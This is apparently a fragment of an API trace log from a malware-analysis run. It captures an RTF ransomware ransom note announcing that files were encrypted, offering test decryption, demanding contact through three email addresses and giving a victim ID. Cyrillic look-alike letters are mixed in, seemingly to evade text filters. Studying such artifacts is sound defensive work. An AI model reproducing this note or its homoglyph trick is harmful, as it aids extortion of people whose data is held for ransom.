r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x25c4dd8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt 